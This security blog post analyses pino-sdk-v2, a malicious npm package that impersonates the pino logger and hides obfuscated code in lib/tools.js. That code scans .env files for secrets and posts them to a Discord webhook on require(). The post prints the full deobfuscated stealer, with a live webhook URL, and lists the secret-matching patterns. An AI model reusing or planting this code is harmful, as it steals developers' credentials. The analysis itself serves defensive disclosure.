Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord

Kunal Singh Kunal Singh
7 min read

Table of Contents

TL;DR

We found a malicious npm package pino-sdk-v2 impersonating pino, one of the most widely used Node.js loggers with nearly 20 million weekly downloads. The package is a near copy of pino’s source, docs, and README with one addition: an obfuscated payload in lib/tools.js that scans .env files for secrets and exfiltrates them to a Discord webhook on require().

  • [email protected] copies pino’s entire source tree with a single modification: obfuscated credential stealing code injected into lib/tools.js
  • The payload scans .env, .env.local, .env.production, .env.development, and .env.example for secret keys
  • Extracted credentials are sent to a hardcoded Discord webhook
  • No install hooks. The code executes on require(), bypassing scanners that only flag install scripts

Investigation

The package.json lists the real pino author, repository, homepage, and description. The README substitutes pino-sdk-v2 in install commands but otherwise mirrors pino’s documentation, banner images, and benchmark references. A developer scanning the npm page would see nothing suspicious.

A diff of the package.json files between [email protected] and the legitimate [email protected] shows the changes are minimal and focused on renaming:

--- pino-9.9.0/package/package.json 1985-10-26 13:45:00
+++ pino-sdk-v2-9.9.0/package/package.json 1985-10-26 13:45:00
@@ -1,10 +1,10 @@
{
- "name": "pino",
+ "name": "pino-sdk-v2",
"version": "9.9.0",
"description": "super fast, all natural json logger",
- "main": "pino.js",
+ "main": "pino2.js",
"type": "commonjs",
- "types": "pino.d.ts",
+ "types": "pino2.d.ts",
"browser": "./browser.js",
"scripts": {
"docs": "docsify serve",
@@ -15,9 +15,9 @@
"test-ci": "npm run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly && npm run test-types",
"test-ci-pnpm": "pnpm run lint && npm run transpile && tap --ts --no-coverage --no-check-coverage && pnpm run test-types",
"test-ci-yarn-pnp": "yarn run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly",
- "test-types": "tsc && tsd && ts-node test/types/pino.ts && attw --pack .",
- "test:smoke": "smoker smoke:pino && smoker smoke:browser && smoker smoke:file",
- "smoke:pino": "node ./pino.js",
+ "test-types": "tsc && tsd && ts-node test/types/pino.ts",
+ "test:smoke": "smoker smoke:pino2 && smoker smoke:browser && smoker smoke:file",
+ "smoke:pino2": "node ./pino2.js",
"smoke:browser": "node ./browser.js",
"smoke:file": "node ./file.js",
"transpile": "node ./test/fixtures/ts/transpile.cjs",
@@ -35,7 +35,7 @@
"update-bench-doc": "node benchmarks/utils/generate-benchmark-doc > docs/benchmarks.md"
},
"bin": {
- "pino": "./bin.js"
+ "pino2": "./bin.js"
},
"precommit": "test",
"repository": {
@@ -60,7 +60,6 @@
},
"homepage": "https://getpino.io",
"devDependencies": {
- "@arethetypeswrong/cli": "^0.18.1",
"@types/flush-write-stream": "^1.0.0",
"@types/node": "^24.0.8",
"@types/tap": "^15.0.6",
@@ -98,7 +97,7 @@
"through2": "^4.0.0",
"ts-node": "^10.9.1",
"tsd": "^0.32.0",
- "typescript": "~5.9.2",
+ "typescript": "~5.8.2",
"winston": "^3.7.2"
},
"dependencies": {

The name, entry point, and binary are renamed. Everything else, including the author field (Matteo Collina), repository URL, and homepage, is copied verbatim from the real pino package.

Legitimate pino package README on npm

Legitimate pino

Malicious pino-sdk-v2 package README on npm

Malicious pino-sdk-v2

The Execution Path

The entry point pino2.js loads lib/tools.js as part of normal initialization, the same way legitimate pino does:

const {
createArgsNormalizer,
asChindings,
buildSafeSonicBoom,
buildFormatters,
stringify,
normalizeDestFileDescriptor,
noop,
} = require('./lib/tools');

The attacker chose lib/tools.js because it is loaded unconditionally and is large enough (300+ lines) to hide injected code without obvious visual cues.

The Malicious Payload in lib/tools.js

The obfuscated payload is injected between the stringify function and the buildFormatters function, padded by whitespace on both sides. It uses hex-encoded variable names, string array rotation, and index-based lookups to obscure intent.

See the diff between lib/tools.js from the legitimate [email protected] and the malicious [email protected]: https://www.diffchecker.com/xepKx048/

Pino-v2-sdk-diff

Deobfuscated Behavior

The obfuscated code defines a Run class with the following methods:

findEnvFiles() scans the current working directory for environment files:

// Targeted files
const envFiles = ['.env', '.env.local', '.env.development', '.env.production', '.env.example'];
for (const file of envFiles) {
const filePath = path.join(this.projectRoot, file);
if (fs.existsSync(filePath)) {
results.push(filePath);
}
}

extractPrivateKeys() reads each .env file and matches lines against six regex patterns targeting secret values:

const patterns = [
/^PRIVATE_KEY\s*=\s*(.+)$/i,
/^SECRET_KEY\s*=\s*(.+)$/i,
/^API_KEY\s*=\s*(.+)$/i,
/^ACCESS_KEY\s*=\s*(.+)$/i,
/^SECRET\s*=\s*(.+)$/i,
/^KEY\s*=\s*(.+)$/i,
];

The last pattern (/^KEY\s*=\s*(.+)$/i) is overly broad and will match any line starting with “KEY=”, which increases the volume of exfiltrated data but also captures more credentials.

createDiscordEmbed() formats the stolen data as a Discord embed with:

  • Title: ”🔍 Results”
  • Color: red (0xff0000)
  • One field per extracted key, showing the filename, key name, value, and line number
  • ISO timestamp

sendToDiscord() sends the embed to a hardcoded Discord webhook:

hxxps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE

The scanAndReport() method orchestrates everything: find env files, extract keys, build embed, POST to Discord. It runs as a top-level async call when the module loads:

async function log() {
const webhookUrl = 'https://discord.com/api/webhooks/1478377161827029105/rFdz...';
const runner = new Run(webhookUrl);
await runner.scanAndReport();
}
log();

The function is named log(), consistent with names you would expect in a logging library. This kind of naming camouflage is deliberate.

Detection Challenges

This sample sidesteps common detection approaches:

  • Trigger on require(), not install hooks. Most malware scanners flag preinstall/postinstall scripts. This package has none. The payload activates when the library is actually used in application code, which is a later and less scrutinized phase.
  • Obfuscation. Hex variable names, string array shuffling, and index-based lookups prevent simple grep-based scanning for strings like “discord” or “webhook.”
  • Trusted metadata. The real pino author, repository, and homepage in package.json make the npm registry page look legitimate.

A file diff against [email protected] confirms the scope: only lib/tools.js is modified, package.json has the name change, and pino.js is renamed to pino2.js. Everything else is identical.

What to Do if You Are Affected

  • Remove the package: npm remove pino-sdk-v2
  • Rotate any secrets stored in .env, .env.local, .env.production, .env.development, or .env.example files in the project directory where the package was imported
  • Audit your npm lockfile for references to pino-sdk-v2
  • Check your Discord audit logs or webhook activity if you operate the target webhook

For critical systems, treat this as a credential compromise. Rotate API keys, access keys, and any private keys that were present in environment files.

Indicators of Compromise (IOC)

IndicatorValue
Package namepino-sdk-v2
Version analyzed9.9.0
Malicious fileSHA256 (./pino-sdk-v2-9.9.0/package/lib/tools.js) = 3733f0add545e5537a7d3171a132df51e0b4105aebe85db35dbe868a056d3d24
Exfiltration methodDiscord webhook (POST with JSON embed)
Webhook URLhttps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE
Targeted files.env, .env.local, .env.production, .env.development, .env.example
Targeted secretsPRIVATE_KEY, SECRET_KEY, API_KEY, ACCESS_KEY, SECRET, KEY
Triggerrequire('pino-sdk-v2') (no install hooks)

Deobfuscated Payload

The following is the deobfuscated version of the malicious code injected into lib/tools.js, produced using deobfuscate.io:

const _0x366c1f = require('fs');
const _0x45c7ed = require('path');
class Run {
constructor(_0x39cf71) {
this.webhookUrl = _0x39cf71;
this.projectRoot = process.cwd();
}
['findEnvFiles']() {
const _0x2727e8 = [];
const _0x46afa7 = ['.env', '.env.example', '.env.local', '.env.production', '.env.development'];
for (const _0x201ac2 of _0x46afa7) {
const _0x3342b6 = _0x45c7ed.join(this.projectRoot, _0x201ac2);
if (_0x366c1f.existsSync(_0x3342b6)) {
_0x2727e8.push(_0x3342b6);
}
}
return _0x2727e8;
}
['extractPrivateKeys'](_0x371198, _0x41b9c9) {
const _0x3e1c07 = [];
let _0x2796a9 = _0x371198.split('\n');
if (_0x2796a9[0x0] && _0x2796a9[0x0].endsWith('\r')) {
_0x2796a9 = _0x371198.split('\r\n');
}
const _0x6db62a = [
/^PRIVATE_KEY\s*=\s*(.+)$/i,
/^SECRET_KEY\s*=\s*(.+)$/i,
/^API_KEY\s*=\s*(.+)$/i,
/^ACCESS_KEY\s*=\s*(.+)$/i,
/^SECRET\s*=\s*(.+)$/i,
/^KEY\s*=\s*(.+)$/i,
];
_0x2796a9.forEach((_0x1dd75d, _0x18ec27) => {
for (const _0x16ba03 of _0x6db62a) {
const _0x3b88ca = _0x1dd75d.match(_0x16ba03);
if (_0x3b88ca && _0x3b88ca[0x1]) {
const _0x5719c4 = _0x3b88ca[0x1].trim().replace(/['"]/g, '');
_0x3e1c07.push({
key: _0x3b88ca[0x0].split('=')[0x0].trim(),
value: _0x5719c4,
line: _0x18ec27 + 0x1,
});
}
}
});
return _0x3e1c07;
}
async ['sendToDiscord'](_0x436551) {
try {
const _0xf55f3d = await fetch(this.webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(_0x436551),
});
if (_0xf55f3d.ok) {
} else {
}
} catch (_0x215247) {}
}
['createDiscordEmbed'](_0x5ad81b) {
const _0xafeae9 = {
title: '🔍 Results',
color: 0xff0000,
fields: [],
timestamp: new Date().toISOString(),
};
_0x5ad81b.forEach((_0x530115) => {
_0x530115.keys.forEach((_0xe5d369) => {
_0xafeae9.fields.push({
name: '📁 ' + _0x45c7ed.basename(_0x530115.file) + ' - Line ' + _0xe5d369.line,
value: '**Key:** `' + _0xe5d369.key + '`\n**Value:** `' + _0xe5d369.value + '`',
inline: false,
});
});
});
return {
embeds: [_0xafeae9],
};
}
async ['scanAndReport']() {
const _0x3eff7a = this.findEnvFiles();
const _0x297a25 = [];
for (const _0x1a964a of _0x3eff7a) {
try {
const _0x3aca2a = _0x366c1f.readFileSync(_0x1a964a, 'utf8');
const _0x2013bf = this.extractPrivateKeys(_0x3aca2a, _0x1a964a);
if (_0x2013bf.length > 0x0) {
_0x297a25.push({
file: _0x1a964a,
keys: _0x2013bf,
});
}
} catch (_0x6be91c) {}
}
if (_0x297a25.length > 0x0) {
const _0x28d820 = this.createDiscordEmbed(_0x297a25);
await this.sendToDiscord(_0x28d820);
}
}
}
async function log() {
const _0x2ec9d8 = new Run(
'https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE'
);
await _0x2ec9d8.scanAndReport();
}
log();
  • vet
  • cloud
  • malware
  • supply-chain-security
  • npm
  • credential-theft

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Gryph: Audit Trail for AI Coding Agents

Gryph: Audit Trail for AI Coding Agents

AI coding agents operate with broad access to your codebase, credentials, and shell. Gryph logs every action they take to a local SQLite database, making agent behavior visible, queryable, and...

abhisek
Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App